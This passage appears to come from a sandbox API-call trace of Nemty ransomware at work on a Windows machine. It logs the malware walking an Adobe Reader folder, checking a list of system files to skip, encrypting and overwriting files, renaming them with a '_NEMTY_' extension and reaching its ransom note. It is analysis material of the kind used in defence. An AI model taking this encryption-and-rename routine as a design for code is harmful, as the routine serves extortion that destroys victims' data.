lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.957] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.957] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.959] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.959] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.959] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.959] WriteFile (in: hFile=0x2f0, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.959] CloseHandle (hObject=0x2f0) returned 1 [0191.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0191.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0191.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0191.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0191.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.959] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\QuickTime.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\quicktime.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\QuickTime.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\quicktime.hun._nemty_kgobjgd_")) returned 1 [0191.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0191.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0191.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.960] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.HUN", cAlternateFileName="WINDOW~1.HUN")) returned 1 [0191.960] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2=".") returned 1 [0191.960] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="..") returned 1 [0191.960] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="...") returned 1 [0191.960] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="windows") returned 1 [0191.960] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="$RECYCLE.BIN") returned 1 [0191.960] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="rsa") returned 1 [0191.960] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="NTDETECT.COM") returned 1 [0191.960] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="ntldr") returned 1 [0191.960] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="MSDOS.SYS") returned 1 [0191.960] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="IO.SYS") returned 1 [0191.960] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="boot.ini") returned 1 [0191.960] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="boot.ini") returned 1 [0191.960] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0191.960] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="ntuser.dat") returned 1 [0191.960] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="desktop.ini") returned 1 [0191.961] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="CONFIG.SYS") returned 1 [0191.961] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="RECYCLER") returned 1 [0191.961] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="BOOTSECT.BAK") returned 1 [0191.961] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="bootmgr") returned 1 [0191.961] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="programdata") returned 1 [0191.961] lstrcmpiW (lpString1="WindowsMedia.HUN", lpString2="appdata") returned 1 [0191.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HUN", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HUN", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.HUN", lpUsedDefaultChar=0x0) returned 16 [0191.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HUN", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HUN", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.HUN", lpUsedDefaultChar=0x0) returned 16 [0191.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HUN", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HUN", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.HUN", lpUsedDefaultChar=0x0) returned 16 [0191.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HUN", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HUN", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.HUN", lpUsedDefaultChar=0x0) returned 16 [0191.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0191.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0191.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0191.961] Sleep (dwMilliseconds=0x5) [0191.971] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26121d70, dwHighDateTime=0x1d561e8)) [0191.971] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26121d70, dwHighDateTime=0x1d561e8)) [0191.972] GetLastError () returned 0x0 [0191.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.972] GetLastError () returned 0x0 [0191.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.972] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.972] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.972] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0191.972] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e29c | out: pszString="ifTEGdw0tEV0pJgljQnBExpqZyGxfvj20myZt/YhsoXCHn2oJJFa6ORPqVL51oL5\r\n1tcIU6u0B0pYJUH/YxZD5nZbQsfEdsO3SxaXk9DAyhIz/uLHo94dhPeILdfA9+s7\r\nBml7SMagVvInp0ZbsIp55ahOiOn9sqicvsaA+0du9IV1Ws73kXAd2+kbaSI0Qr+Q\r\nfuNYxY6x9eE1fZlmfEvfwdXdHhtL3inxoALar7HoXyntm5vSi03m2sZ9QkOQVvlP\r\nx0e3qfNM+8RoswuoFwjsrSgNuRQkBjw8N5njAmaYbZa9lpKc4wcjn4oJB56fP1jp\r\nHpNMxA+WMRJin4NMt9g9Qw==\r\n", pcchString=0x653e29c) returned 1 [0191.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0191.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0191.972] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\WindowsMedia.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\windowsmedia.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.973] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.973] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.973] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.974] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.974] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.975] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.975] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.975] CloseHandle (hObject=0x2f0) returned 1 [0191.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0191.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0191.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0191.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0191.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.975] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\WindowsMedia.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\windowsmedia.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\WindowsMedia.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\windowsmedia.hun._nemty_kgobjgd_")) returned 1 [0191.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0191.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0191.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0191.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.976] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26063690, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x26063690, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26063690, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0191.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0191.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0191.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0191.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0191.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0191.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0191.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0191.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0191.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0191.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0191.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0191.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0191.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0191.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0191.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0191.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0191.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0191.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0191.976] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0191.977] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0191.977] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0191.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0191.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0191.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0191.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0191.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0191.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0191.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0191.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0191.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0191.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0191.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 